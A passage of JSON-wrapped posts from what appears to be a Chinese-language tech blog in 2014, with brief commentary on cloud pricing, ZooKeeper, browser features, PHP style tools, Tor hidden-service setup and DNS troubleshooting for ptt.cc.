    "body": "在「<a href=\"http://engineering.pinterest.com/post/77933733851/zookeeper-resilience-at-pinterest\">ZooKeeper Resilience at Pinterest</a>」這篇文章裡面，<a href=\"https://www.pinterest.com/\">Pinterest</a> 的人說明內部是怎麼使用 <a href=\"http://zookeeper.apache.org/\">ZooKeeper</a>，其中對我來說最重要的是這張圖：\r\n\r\n<img src=\"//i.imgur.com/BrpWJ01.png\" alt=\"\" />\r\n\r\n程式不直接接觸 ZooKeeper 取得資料，而是透過 daemon 寫到 local disk 的資料取得。這樣當 ZooKeeper 失敗時仍然可以保持一定的服務 (因為 local disk cache)，而避免服務中斷。\r\n\r\n當然，這跟資料的性質有關，不是所有的資料型態都可以接受 cache。這種解法常常是在穩定性不是可以自己控制 (這個例子裡是 ZooKeeper)，而且遇到問題時不希望整個服務就爆炸...\r\n\r\n但這個思路每次看過每次都會忘記，寫下來不知道會不會比較容易想起來 :o",
    "title": "Pinterest 對 ZooKeeper 的用法"
  },
  {
    "id": "4390",
    "body": "前幾天的大消息：「<a href=\"http://googleblog.blogspot.com/2014/03/save-more-with-google-drive.html\">Save more with Google Drive</a>」。\r\n\r\n<img src=\"//i.imgur.com/netVKx4.png\" alt=\"\" />\r\n\r\n本來是 USD$0.05/GB，這次 100GB 這邊降到 USD$0.02/GB，而 1TB 以上的方案變成是 USD$0.01/GB。\r\n\r\nUSD$0.01/GB 是 <a href=\"http://aws.amazon.com/glacier/\">Amazon Glacier</a> 等級的價錢，但不像 Amazon Glacier 是離線資料，取用時需要等三個小時...",
    "title": "Google Drive 的降價..."
  },
  {
    "id": "4392",
    "body": "<a href=\"http://amturing.acm.org/award_winners/lamport_1205376.cfm\">Leslie Lamport - A.M. Turing Award Winner</a>：\r\n\r\n<blockquote>For fundamental contributions to the theory and practice of distributed and concurrent systems, notably the invention of concepts such as causality and logical clocks, safety and liveness, replicated state machines, and sequential consistency.</blockquote>\r\n\r\n分散式系統領域的老大與 <a href=\"http://www.latex-project.org/\">LaTeX</a> 的發明人...",
    "title": "Leslie Lamport 拿下 2013 年圖靈獎 (Turing Award)"
  },
  {
    "id": "4394",
    "body": "<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 28 釋出：「<a href=\"http://www.mozilla.org/en-US/firefox/28.0/releasenotes/\">Firefox Notes - Desktop</a>」。其中第一條就是 <a href=\"https://www.google.com/\">Google</a> 主力推的 <a href=\"https://en.wikipedia.org/wiki/VP9\">VP9</a>：\r\n\r\n<blockquote>VP9 video decoding implemented</blockquote>\r\n\r\n依然視為繞在專利問題上，VP9 主力的競爭對象是 <a href=\"https://en.wikipedia.org/wiki/High_Efficiency_Video_Coding\">HEVC</a> (H.265)，而 <a href=\"https://www.youtube.com/\">YouTube</a> 的 4K2K 影片也是用 VP9 壓縮。\r\n\r\n這樣 VP9 的陣勢看起來大了一點？",
    "title": "Firefox 28 與 VP9"
  },
  {
    "id": "4396",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Full_disclosure_(mailing_list)\">Full Disclosure</a> 是資安領域裡很有名的資訊平台，沒想到居然關閉了：「<a href=\"http://seclists.org/fulldisclosure/2014/Mar/332\">Administrivia: The End</a>」。\r\n\r\n不過現在發表的平台也比以前多太多，再加上資訊傳遞的速度也快太多，影響已經沒那麼大了... 算是歷史的眼淚？",
    "title": "Full Disclosure 關閉"
  },
  {
    "id": "4399",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 在「<a href=\"https://hacks.mozilla.org/2014/03/jsdelivr-the-advanced-open-source-public-cdn/\">jsDelivr – The advanced open source public CDN</a>」這篇文章裡面推薦 <a href=\"http://www.jsdelivr.com/\">jsDelivr</a> 這個服務：\r\n\r\n<blockquote>Similar to Google Hosted Libraries, jsDelivr is an open source CDN that allows developers to host their own projects and anyone to link to our hosted files in their websites.</blockquote>\r\n\r\n用 <a href=\"https://github.com/\">GitHub</a> 當作 origin server，前端目前利用 <a href=\"http://www.cloudflare.com/\">CloudFlare</a> 與 <a href=\"http://www.maxcdn.com/\">MaxCDN</a>，配合 <a href=\"http://www.cedexis.com/\">Cedexis</a> 的 openmix 服務，綜合這兩家 CDN 提供服務。\r\n\r\n既有的 <a href=\"http://cdnjs.com/\">cdnjs.com</a> 是由 CloudFlare 贊助的服務，那 jsDelivr 呢？\r\n\r\n看了老半天得到這些訊息：jsDelivr 是由 <a href=\"https://twitter.com/jimaek\">@jimaek</a> 所發起的服務，而 @jimaek 受雇於 MaxCDN。再加上 Mozilla 上的文章也是 @jimaek 發表，而且只發表過這一篇 (參考 <a href=\"https://hacks.mozilla.org/author/dmitriyakulov/\">Articles by Dmitriy Akulov</a>)，這邊的目的也太明顯...\r\n\r\n應該可以每幾天就看一下下面的 comment，不知道什麼時候會引爆利益衝突的問題...",
    "title": "Mozilla 推薦的 jsDelivr？"
  },
  {
    "id": "4401",
    "body": "以前 <a href=\"http://aws.amazon.com/ses/\">Amazon SES</a> 每個 domain 都要認證一次，也就是說，就算我認證了 <code>gslin.org</code>，如果我要從 <code>gslin@my.gslin.org</code> 寄信，會因為 <code>my.gslin.org</code> 與 <code>gslin.org</code> 不同而被擋下來。\r\n\r\n在官方的 blog 上宣佈認得 subdomain 了：「<a href=\"http://sesblog.amazon.com/post/Tx3NP3M5EB5VL36/Subdomain-Support-is-Now-Available\">Subdomain Support is Now Available!</a>」。\r\n\r\n這樣就更省事了...",
    "title": "Amazon SES 的認證延伸到 subdomain"
  },
  {
    "id": "4403",
    "body": "<a href=\"http://aws.amazon.com/elasticloadbalancing/\">AWS Elastic Load Balancing</a> 支援 Connection Draining 功能了：「<a href=\"http://aws.typepad.com/aws/2014/03/elb-connection-draining-remove-instances-from-service-with-care.html\">ELB Connection Draining - Remove Instances From Service With Care</a>」。\r\n\r\n由於 Connection Draining 是自創名詞，所以 <a href=\"http://aws.amazon.com/\">AWS</a> 的人解釋了一大堆。其實對比較熟悉的人用「graceful shutdown」就應該能了解 Connection Draining 想要做什麼事情。\r\n\r\n<img src=\"//i.imgur.com/Os4Grxi.png\" alt=\"\" />\r\n\r\n技術上的細節是，當 instance 從 ELB 內被移除 (無論是暫時性的還是永久性的)，新的 request 將不會被送到該 instance 裡，而既有的連線將不會斷掉，直到 client 完成或是超時 (timeout)。\r\n\r\n這個功能在一般商用的 load balancing solution 都會提供，而且是對於服務品質其實還蠻重要的功能。\r\n\r\n話說回來，這陣子 ELB 動了不少東西？不查資料可以直接想到的就包括了：\r\n<ul>\r\n\t<li>HTTPS 支援 <a href=\"https://en.wikipedia.org/wiki/Perfect_forward_secrecy\">PFS</a>。</li>\r\n\t<li>支援 access log 下載。</li>\r\n</ul>\r\n\r\n再加上今天的 graceful shutdown。每次都改善一些東西，累積起來就是驚人的財產...",
    "title": "AWS Elastic Load Balancing 服務支援 Connection Draining"
  },
  {
    "id": "4407",
    "body": "在「<a href=\"https://adblockplus.org/blog/switching-default-blocking-lists-for-chinese-users\">Switching default blocking lists for Chinese users</a>」這邊看到 <a href=\"https://adblockplus.org/\">Adblock Plus</a> 的官方公告，新安裝的預設值將會從 <a href=\"http://chinalist.github.io/\">ChinaList</a> 改變成 <a href=\"http://abpchina.org/\">Easylist China</a>。\r\n\r\n依照官方的說法：\r\n\r\n<blockquote>To make these improvements, we employed three people as part-time authors.</blockquote>\r\n\r\n天下沒有白吃的午餐，加上這幾年 Adblock Plus 的「妥協」太多，接下來應該沒事去看一下 ChinaList 的討論，到底兩個 blocklist 的差異在哪裡。",
    "title": "Adblock Plus 將會把預設的 ChinaList 改為 EasyList China"
  },
  {
    "id": "4409",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 拿掉 RSS 支援後原來「<a href=\"http://blog.gslin.org/archives/2011/05/20/2659/%E6%94%AF%E6%8F%B4%E6%96%B0%E7%89%88-plurk-api-oauth-core-1-0a-%E7%9A%84-twitter-to-plurk-script/\">支援新版 Plurk API (OAuth Core 1.0a) 的 Twitter To Plurk Script</a>」這篇提到的程式就不會動了，剛好現在在東京慢慢蹭，就花點時間改寫了。\r\n\r\n程式一樣在 <a href=\"https://gist.github.com/\">Gist</a> 的 <a href=\"https://gist.github.com/gslin/982195\">gslin/982195</a> 上。\r\n\r\n由於不想要接 <a href=\"https://dev.twitter.com/\">Twitter API</a>，再加上自己的帳號是公開的，所以這邊就用 <a href=\"http://search.cpan.org/dist/Web-Query/\">Web::Query</a> 去爬 HTML 然後生出對應的 body 貼到 <a href=\"http://www.plurk.com/\">Plurk</a> 上。\r\n\r\n不過還是有不完美的地方，像是目前讀取的順序是顛倒的，大多數的情況下應該還好，不過有關連性的 tweet 就會看起來怪怪的 :o",
    "title": "Twitter 自動轉貼 Plurk 的程式"
  },
  {
    "id": "4412",
    "body": "<a href=\"http://www.oculusvr.com/\">Oculus VR</a> 前陣子最有名的新聞應該是 <a href=\"https://en.wikipedia.org/wiki/John_D._Carmack\">John Carmack</a> (<a href=\"http://www.idsoftware.com/\">id Software</a>) 成為 CTO (查了查，也半年多前的新聞了)。\r\n\r\n昨天則是宣佈加入 <a href=\"https://www.facebook.com/\">Facebook</a>：「<a href=\"http://www.oculusvr.com/blog/oculus-joins-facebook/\">Oculus Joins Facebook</a>」。\r\n\r\n究竟是發生什麼事情呢...",
    "title": "Facebook 買 Oculus VR..."
  },
  {
    "id": "4414",
    "body": "在「<a href=\"http://blog.gslin.org/archives/2014/03/23/4407/adblock-plus-%e5%b0%87%e6%9c%83%e6%8a%8a%e9%a0%90%e8%a8%ad%e7%9a%84-chinalist-%e6%94%b9%e7%82%ba-easylist-china/\">Adblock Plus 將會把預設的 ChinaList 改為 EasyList China</a>」提到 <a href=\"https://adblockplus.org/\">Adblock Plus</a> 將預設的 <a href=\"https://github.com/chinalist/chinalist\">ChinaList</a> 改為 <a href=\"http://abpchina.org/\">Easylist China</a>，過幾天後看到 ChinaList 決定停止維護：\r\n\r\n<blockquote>在这里很遗憾地通知所有 ChinaList 项目的用户，从 2014/03/26 起，本项目不再维护，为了抗议 Adblock Plus 在没有 ChinaList 授权重定向我们的列表且多次抗议无效下做的决定。</blockquote>\r\n\r\n其實就是 Adblock Plus 想賺錢，但被 ChinaList 擋住：\r\n\r\n<blockquote>要想推白名单，列表肯定要抓在自己手中才行，反正我多次说过只要我还负责 ChinaList，就不会允许的。</blockquote>",
    "title": "ChinaList 停止維護"
  },
  {
    "id": "4416",
    "body": "在「<a href=\"http://aws.typepad.com/aws/2014/03/aws-price-reduction-42-ec2-s3-rds-elasticache-and-elastic-mapreduce.html\">AWS Price Reduction #42 - EC2, S3, RDS, ElastiCache, and Elastic MapReduce</a>」這邊看到 <a href=\"http://aws.amazon.com/\">AWS</a> 降價的消息，明顯是被 <a href=\"https://www.google.com/\">Google</a> 壓著推出來 :p\r\n\r\n降價的範圍包括 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> instance、EC2 的 reserved instance、<a href=\"http://aws.amazon.com/s3/\">S3</a>，以及對應的 <a href=\"http://aws.amazon.com/rds/\">RDS</a>、<a href=\"http://aws.amazon.com/elasticache/\">ElastiCache</a>、<a href=\"https://aws.amazon.com/elasticmapreduce/\">Elastic MapReduce</a>。\r\n\r\n前幾天買了兩台 us-west-2 c1.xlarge 的三年 RI，結果從 USD$2804 降到 USD$2524，現虧 USD$280 (XDDD)，而每小時單價從 USD$0.124 降到 USD$0.112，也就 9.7% 左右。\r\n\r\n另外 S3 的部份則是直接從 USD$0.085/GB 一次殺到 USD$0.03/GB 了，隨著使用量的增加的 discount 差不多都消失了。\r\n\r\n等下再來研究好了，計畫永遠趕不上變化...",
    "title": "AWS 大降價"
  },
  {
    "id": "4418",
    "body": "在 <a href=\"https://www.whatismybrowser.com/\">whatismybrowser.com</a> 上看到 local IP address 時愣了一下，查了查資料後發現是 WebRTC 的功能：「<a href=\"https://hacking.ventures/local-ip-discovery-with-html5-webrtc-security-and-privacy-risk/\">Local IP discovery with HTML5 WebRTC: Security and privacy risk?</a>」。\r\n\r\n如果知道內網的 IP 後，再加上一堆問題設備，hmmm... 能做的事情好多啊 @_@\r\n\r\n在「<a href=\"http://caniuse.com/rtcpeerconnection\">Can I use WebRTC Peer-to-peer connections?</a>」可以看到 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 與 <a href=\"http://www.mozilla.org/firefox/\">Firefox</a> 都支援了...\r\n\r\n看了看 <code>chrome://flags</code> 似乎沒解... 來想看看有沒有什麼其他反制的辦法 @_@\r\n\r\nFirefox 可以參考「<a href=\"https://support.mozilla.org/zh-TW/questions/963501\">Where can I disable WebRTC and PeerConnection?</a>」這邊提供的方法試看看，不過我沒測過，不知道到底有沒有效...",
    "title": "瀏覽器裡取得 Local IP 位置的方式"
  },
  {
    "id": "4423",
    "body": "NTIA (<a href=\"http://www.ntia.doc.gov/\">National Telecommunications and Information Administration</a>) 決定將 root domain 管理權責移交出來：「<a href=\"http://www.ntia.doc.gov/press-release/2014/ntia-announces-intent-transition-key-internet-domain-name-functions\">NTIA Announces Intent to Transition Key Internet Domain Name Functions</a>」，關於移交的 Q&amp;A 則可以在「<a href=\"http://www.ntia.doc.gov/press-release/2014/ntia-announces-intent-transition-key-internet-domain-name-functions\">IANA Functions and Related Root Zone Management Transition Questions and Answers</a>」這篇讀到。\r\n\r\n目前是 NTIA 放出意願，請 <a href=\"https://www.icann.org/\">ICANN</a> 提出轉移計畫：\r\n\r\n<blockquote>As the first step, NTIA is asking the Internet Corporation for Assigned Names and Numbers (ICANN) to convene global stakeholders to develop a proposal to transition the current role played by NTIA in the coordination of the Internet’s domain name system (DNS). </blockquote>\r\n\r\n不知道要花多久時間，可能是用幾年的時間轉移。雖然是找 stakeholders，但看起來應該是會由 ICANN 掌握...",
    "title": "NTIA 決定將 Root Domain 的管理權責轉移到 ICANN"
  },
  {
    "id": "4426",
    "body": "<a href=\"http://cs.sensiolabs.org/\">PHP Coding Standards Fixer</a> 是在不破壞相容性的情況下，將 <a href=\"http://www.php.net/\">PHP</a> 的程式碼往 <a href=\"https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md\">PSR-2</a> 的方向修正。\r\n\r\n安裝的方式很簡單，直接抓下來：\r\n\r\n<pre>wget http://cs.sensiolabs.org/get/php-cs-fixer.phar -O php-cs-fixer\r\nchmod a+x php-cs-fixer</pre>\r\n\r\n看是要丟到 <code>/usr/local/bin</code> 下，還是丟到自己的目錄裡都可以。\r\n\r\n裝完後就玩：\r\n\r\n<pre>php-cs-fixer fix foo.php</pre>\r\n\r\n如果 PHP 程式碼有進版本控制系統，在執行後就可以用 diff 看看改了什麼。\r\n\r\n也可以對整個目錄修正：\r\n\r\n<pre>php-cs-fixer fix foo/</pre>\r\n\r\n預設是 PSR-2 以及一些作者自訂的規則，如果要強制只用 PSR-2 的話可以用 <code>--level=psr2</code>：\r\n\r\n<blockquote>By default, all PSR-2 fixers and some additional ones are run.</blockquote>\r\n\r\n有一些要注意的地方是，php-cs-fixer 因為是在不破壞相容性的前提下修正的，所以有些 method naming 的規則就無法修。不過比起手動修正 legacy code，可以省下不少時間...",
    "title": "用 php-cs-fixer 自動將程式碼以 PSR-2 規則修正"
  },
  {
    "id": "4428",
    "body": "會想要寫這篇是因為前陣子<a href=\"http://taiwan0314.s3-website-ap-northeast-1.amazonaws.com/\">警察施暴影片</a>在 <a href=\"https://www.youtube.com/\">YouTube</a> 上一直被下架。\r\n\r\n<a href=\"https://www.torproject.org/\">Tor</a> 最常用到的是「隱藏使用者」的功能：使用者從 Internet 連到 Tor network 的進入節點 (entry node) 後，透過全世界的 Tor 節點加密傳輸，最後在出口節點 (exit node) 再連回 Internet 上的服務，藉此隱匿行蹤。\r\n\r\n<img src=\"//i.imgur.com/WxumDSI.png\" alt=\"\" />\r\n\r\n另外一個比較少被提到的用途是「架站」，也就是 Hidden Service。\r\n\r\n在傳統的 Internet 架構上，知道 IP address 就容易發現機器所在地，要抄台或是在 ISP 端直接 ban IP address 也就相對容易。而 Hidden Service 就是想把服務藏到 Tor network 裡，讓外部不知道是哪一台伺服器，達成無法審查內容的目標。\r\n\r\n官方的文件是「<a href=\"https://www.torproject.org/docs/tor-hidden-service.html.en\">Configuring Hidden Services for Tor</a>」這份。而這邊以 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 的環境為例。\r\n\r\n首先是先架設 web server，可以是 <a href=\"http://httpd.apache.org/\">apache</a> 或是 <a href=\"http://nginx.org/\">nginx</a>，這不是本篇文章的重點 :p\r\n\r\n然後在 <code>/etc/tor/torrc</code> 裡面加上：\r\n\r\n<pre>HiddenServiceDir /var/lib/tor/hidden_service/\r\nHiddenServicePort 80 127.0.0.1:80</pre>\r\n\r\n表示 hidden service 的相關資料會放在 <code>/var/lib/tor/hidden_service/</code> 下，並且提供 port 80 的服務 (轉到本機 127.0.0.1 的 port 80)。\r\n\r\n接下來重跑 tor：\r\n\r\n<pre>service tor restart</pre>\r\n\r\n然後看 hostname 是什麼：\r\n\r\n<pre>cat /var/lib/tor/hidden_service/hostname</pre>\r\n\r\n會看到一個 *.onion 格式的 hostname，像我架設的機器就會看到：\r\n\r\n<pre>btyz5lgqirxipopo.onion</pre>\r\n\r\n*.onion 的網址必須透過 Tor 的機制連，對一般人會比較麻煩。所以這邊要教的是透過 proxy 提供服務：\r\n\r\n<ul>\r\n\t<li><a href=\"https://btyz5lgqirxipopo.tor2web.org/\">https://btyz5lgqirxipopo.tor2web.org/</a></li>\r\n\t<li><a href=\"https://btyz5lgqirxipopo.onion.to/\">https://btyz5lgqirxipopo.onion.to/</a></li>\r\n</ul>\r\n\r\n這樣就變得有很多用途...",
    "title": "架設 Tor 的 Hidden Service"
  },
  {
    "id": "4430",
    "body": "因為 <a href=\"https://redports.org/\">redports.org</a> 一直連不上，寫信給網站管理者後才發現是 <a href=\"http://trac.edgewall.org/\">Trac</a> 沒處理好 non-en 語系的部份，所以得先在 client workaround。(管理者說他有空的時候會去看看...)\r\n\r\n在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上可以用 <a href=\"https://chrome.google.com/webstore/detail/spoofs-lang/ganfohdkddeoglcnnomhmfjiebfijbpf\">Spoofs Lang</a> 更改瀏覽器送出的 <code>Accept-Language</code> 欄位，進而達到修改網站偵測的預設語系...\r\n\r\n<img src=\"//i.imgur.com/9qNxng0.png\" alt=\"\" />\r\n\r\n除了 redports.org 以外，也順便把 <a href=\"http://www.php.net/\">php.net</a> 系列的網站都改成英文語系了。",
    "title": "用 Spoofs Lang 更改網站偵測的預設語系..."
  },
  {
    "id": "4432",
    "body": "在「<a href=\"http://googlesystem.blogspot.com/2014/03/gmail-back-to-2004.html\">Gmail, Back to 2004</a>」這篇看到 <a href=\"https://mail.google.com/\">Gmail</a> 在 2004 年剛 launch 的樣子：\r\n\r\n<img src=\"//i.imgur.com/X4INMYm.png\" alt=\"\" />\r\n\r\n算一算真的也十年了 (大驚)。\r\n\r\n2004 年的四月一日以愚人節新聞發表，宣稱是 invite only，四月二日還是沒拿下來，然後陸陸續續有傳出「是真的」的消息...",
    "title": "Gmail 10 歲"
  },
  {
    "id": "4434",
    "body": "在「<a href=\"http://mysqlserverteam.com/the-mysql-5-7-4-milestone-release-is-available/\">The MySQL 5.7.4 Milestone Release is available</a>」這篇可以看到 MySQL 5.7.4 的消息。除了 InnoDB 的改善外，可以看到對 AES 加密的功能 (AES Encryption Modes)。\r\n\r\n不過...\r\n\r\n<blockquote>Historically, and still used as defaults in 5.6 and 5.7, we are using a relatively small key size (128 bits, corresponding to “SECRET” according to NSA) and block mode (ECB, encrypting equal blocks with equal code blocks) to calculate the cipher.</blockquote>\r\n\r\n<img src=\"//i.imgur.com/lGiVTiP.png\" alt=\"\" />\r\n\r\n居然是支援 <a href=\"https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29\">ECB</a>，這會不會驚爆我的眼球啊，我以為最少是 <a href=\"https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29\">CTR</a>...\r\n\r\n<img src=\"//i.imgur.com/3KpEIbN.png\" alt=\"\" />\r\n\r\nECB 代表相同內容的 block 就會被加密成相同的密文，這樣就有很多可以攻擊的方式了。而 CTR 至少可以抵抗這一點...\r\n\r\n另外一個賣點是「<a href=\"http://mysqlserverteam.com/innodb-spatial-indexes-in-5-7-4-lab-release/\">InnoDB Spatial Indexes in 5.7.4 LAB release</a>」，目前只支援二維資料：\r\n\r\n<blockquote>Currently, InnoDB spatial index supports only two dimension data, but we do have plan to extend to multi-dimension. In addition, we are doing more performance tuning to make it more efficient.</blockquote>\r\n\r\n用 <a href=\"https://en.wikipedia.org/wiki/R-tree\">R-tree</a> 實做的，畢竟是個開始...",
    "title": "MySQL 5.7.4"
  },
  {
    "id": "4440",
    "body": "<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 今天的新聞：「<a href=\"http://aws.typepad.com/aws/2014/04/improved-cloudfront-performance-with-edns-client-subnet-support.html\">Improved CloudFront Performance with EDNS-Client-Subnet Support</a>」。\r\n\r\n目前 CDN 大多都還是靠 GeoDNS 技術達到分流技術，但另外一方面，Google 的 <a href=\"https://developers.google.com/speed/public-dns/\">Public DNS</a> 與 <a href=\"http://www.opendns.com/\">OpenDNS</a> 服務不一定在每個 ISP 都有設機房，這使得 CDN 服務無法靠 DNS server 的 IP address 正確導到離使用者 ISP 最近的 CDN (也就是原文指的 sub-optimal performance)。\r\n\r\n<a href=\"https://datatracker.ietf.org/doc/draft-vandergaast-edns-client-subnet/\">EDNS-Client-Subnet</a> 是一個 draft，讓 DNS resolver 可以把 client 的網段資訊帶給 CDN 的 DNS server，進而改善定位。\r\n\r\n剛剛測試發現 <a href=\"http://www.akamai.com/\">Akamai</a> 也支援了，在「<a href=\"http://www.quora.com/OpenDNS/Why-doesnt-Akamai-support-the-edns-client-subnet-extension-This-would-allow-OpenDNS-and-Google-DNS-to-more-effectively-provide-the-geo-location-of-the-CDN-and-allow-Akamai-to-send-content-to-clients-at-higher-speed\">OpenDNS: Why doesn't Akamai support the edns client subnet extension? This would allow OpenDNS and Google DNS to more effectively provide the geo location of the CDN and allow Akamai to send content to clients at higher speed.</a>」這篇也有提到。\r\n\r\n以前會鼓勵使用自己家的 DNS resolver 的理由又要消失一個了 :p",
    "title": "Amazon CloudFront 支援 EDNS-Client-Subnet"
  },
  {
    "id": "4442",
    "body": "<a href=\"http://aws.amazon.com/elasticmapreduce/\">Amazon Elastic MapReduce</a> 一直都只能跑舊的機器，總算把新機器加上去了：「<a href=\"http://aws.typepad.com/aws/2014/03/new-instance-types-for-amazon-elastic-mapreduce.html\">New Instance Types for Amazon Elastic MapReduce</a>」。\r\n\r\n接下來應該都會用 c3 系列來跑吧？",
    "title": "Amazon EMR 總算支援更多種類的機器了..."
  },
  {
    "id": "4444",
    "body": "<a href=\"http://pear.php.net/package/PHP_CodeSniffer/\">PHP_CodeSniffer</a> 是套檢查 <a href=\"http://www.php.net/\">PHP</a> 程式碼是否符合規範的工具。\r\n\r\n<img src=\"//i.imgur.com/f4dgVvK.png\" alt=\"\" />\r\n<small>拿 <a href=\"http://wordpress.org/\">WordPress</a> 3.8.1 的 index.php 跑 <a href=\"https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md\">PSR-2</a> 測試。</small>\r\n\r\n想要測試的人可以用 <a href=\"http://www.vagrantup.com/\">Vagrant</a> 安裝測試，我用 <a href=\"https://www.docker.io/\">Docker</a> 弄了老半天弄不起來，就跑去用 Vagrant 測試了...\r\n\r\n(話說回來，Vagrant 與 Docker 真的是測試的神器，反正要弄一個 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 平台上測試就是拿這兩個東西出來測...)\r\n\r\n由於系統內的 PHP_CodeSniffer 不一定夠新，舉例來說，Ubuntu 12.04 的 <a href=\"http://packages.ubuntu.com/php-codesniffer\">php-codesniffer</a> 只有 1.1.0，而掃 PSR-1 的程式出現在 <a href=\"http://pear.php.net/package/PHP_CodeSniffer/docs/1.3.5/\">1.3.5</a>，PSR-2 出現在 <a href=\"http://pear.php.net/package/PHP_CodeSniffer/docs/1.4.0/\">1.4.0</a>。\r\n\r\n安裝 <a href=\"https://twitter.com/c9s\">c9s</a> 所維護的 <a href=\"https://github.com/c9s/phpbrew\">phpbrew</a> 通常是還蠻常見的選擇。裝完後再用 <code>pear install PHP_CodeSniffer</code> 裝進去就有 phpcs 可以用了。\r\n\r\nphpcs 預設是用 <a href=\"http://pear.php.net/manual/en/standards.php\">PEAR standard</a>，可以指定 <code>--standard=PSR2</code> 強迫他使用 PSR-2 規則：\r\n\r\n<pre>phpcs --standard=PSR2 foo.php</pre>\r\n\r\n<img src=\"//i.imgur.com/gKdfs4Q.png\" alt=\"\" />\r\n\r\n也可以直接強迫換成 PSR-2，然後再看設定有沒有改成功：\r\n\r\n<pre>phpcs --config-set default_standard PSR2\r\nphpcs --config-show</pre>\r\n\r\n除了可以檢查單一檔案外，也可以丟路徑進去整個檢查：\r\n\r\n<pre>phpcs foo/</pre>",
    "title": "檢查程式碼是否符合 PSR-2 的工具：PHP_CodeSniffer (phpcs)"
  },
  {
    "id": "4452",
    "body": "前幾天看到快速切換到上一個 Git branch 的方法：「<a href=\"http://www.lornajane.net/posts/2014/quick-switch-between-git-branches\">Quick Switch Between Git Branches</a>」。\r\n\r\n<img src=\"//i.imgur.com/W2upAr7.png\" alt=\"\" />\r\n<small>我把 <code>co</code> alias 成 <code>checkout</code>...</small>\r\n\r\n用這個指令切到上一個 branch：\r\n\r\n<pre>git checkout -</pre>\r\n\r\n跟 <code>cd -</code> 的道理是一樣的。",
    "title": "快速切換到上一個 Git branch"
  },
  {
    "id": "4459",
    "body": "在 <a href=\"http://jquery.com/\">jQuery</a> 的「<a href=\"http://blog.jquery.com/2014/04/02/browser-support-in-jquery-1-12-and-beyond/\">Browser Support in jQuery 1.12 and Beyond</a>」這篇提到新的計畫，其中 What's Changing? 裡提到：\r\n\r\n<blockquote>There are no firm dates, but we plan on releasing jQuery core versions 1.12 and 2.2 this year. jQuery 1.13/2.3 will be released some time in 2015.</blockquote>\r\n\r\n重點在於對 IE 的支援度。其中 1.12 會繼續支援 IE6+，而 1.13 則放棄 IE{6,7}，只支援 IE8+：\r\n\r\n<blockquote>jQuery 1.12: This will be the last release to support Internet Explorer 6 and 7. As of today, no feature requests or bug fixes will be landed for them. Only serious regressions for these browsers will be fixed in patch releases (e.g., 1.12.1). jQuery 1.13 will support IE8 as its minimum browser.</blockquote>\r\n\r\n這件事情總算是發生了，也就是多出一個「支援 IE8+」的版本。這也就是兩年前我在「<a href=\"http://blog.gslin.org/archives/2012/07/15/2907/jquery-2-0-%E5%B0%87%E6%94%BE%E6%A3%84-ie678-%E7%9A%84%E4%BA%8B%E6%83%85/\">jQuery 2.0 將放棄 IE{6,7,8} 的事情...</a>」抱怨過的事情，我無法想像在 <a href=\"http://ejohn.org/\">John Resig</a> 當政的年代會直接規劃出不支援 IE{6,7,8} 的產品。\r\n\r\n現在的 jQuery 有種 <a href=\"https://en.wikipedia.org/wiki/AWK\">AWK</a> 的感覺。\r\n\r\n剛好也是提到 jQuery，前陣子「<a href=\"http://okmaya.com/2014/03/12/the-reason-angular-js-will-fail/\">The reason Angular JS will fail</a>」這篇也是讓我笑得很開心，也許有機會再寫...",
    "title": "jQuery 多出 1.12 與 1.13 的計畫"
  },
  {
    "id": "4461",
    "body": "前幾天<a href=\"http://www.europarl.europa.eu/\">歐洲議會</a>通過了網路中立條款：「<a href=\"http://gigaom.com/2014/04/03/european-parliament-passes-strong-net-neutrality-law-along-with-major-roaming-reforms/\">European Parliament passes strong net neutrality law, along with major roaming reforms</a>」，條文內容的 PDF 可以在<a href=\"http://www.europarl.europa.eu/sides/getDoc.do?pubRef=-//EP//NONSGML+AMD+A7-2014-0190+237-244+DOC+PDF+V0//EN\">這裡</a>看到。\r\n\r\nPDF 的左側是 Text proposed by the Commission，右側是 Amendment，可以看到「網路中立」被清楚定義：\r\n\r\n<blockquote>The principle of \"net neutrality\" means that traffic should be treated equally, without discrimination, restriction or interference, independent of the sender, receiver, type, content, device, service or application</blockquote>\r\n\r\n然後下面圍繞著網路中立的主題規範了許多電信服務提供商的行為，並且保障公民的上網權利。另外還要求各國的電信主管機關制定檢舉程序，讓公民可以很容易檢舉。",
    "title": "歐洲議會通過網路中立條款"
  },
  {
    "id": "4464",
    "body": "<strong>Update</strong>：感謝正妹 <a href=\"https://www.facebook.com/wens213\">wens</a> 幫忙，現在已經先上 workaround 了，狀況暫時解除...\r\n\r\n最近發現 168.95.1.1 有時會找不到 ptt.cc 這個 domain (參考 <a href=\"https://gist.github.com/gslin/9995821\">gist:9995821</a>)，原因是 ptt.cc 在 whois 上登記的是：\r\n\r\n<pre>Name Server: NS0.PTT.CC\r\nName Server: NS1.PTT.CC\r\nName Server: NSOUT1.PTT.CC</pre>\r\n\r\n用 dig 對 cc 的 NS server 查詢也可以確認：\r\n\r\n<pre>;; AUTHORITY SECTION:\r\nptt.cc.                 172800  IN      NS      ns0.ptt.cc.\r\nptt.cc.                 172800  IN      NS      ns1.ptt.cc.\r\nptt.cc.                 172800  IN      NS      nsout1.ptt.cc.\r\n\r\n;; ADDITIONAL SECTION:\r\nns1.ptt.cc.             172800  IN      A       140.112.172.10\r\nns0.ptt.cc.             172800  IN      A       140.112.172.16\r\nnsout1.ptt.cc.          172800  IN      A       112.121.80.227</pre>\r\n\r\n但 ptt.cc 的三台 NS server 上都找不到 nsout1.ptt.cc：\r\n\r\n<pre>; &lt;&lt;&gt;&gt; DiG 9.8.1-P1 &lt;&lt;&gt;&gt; nsout1.ptt.cc @140.112.172.10\r\n\r\n;; AUTHORITY 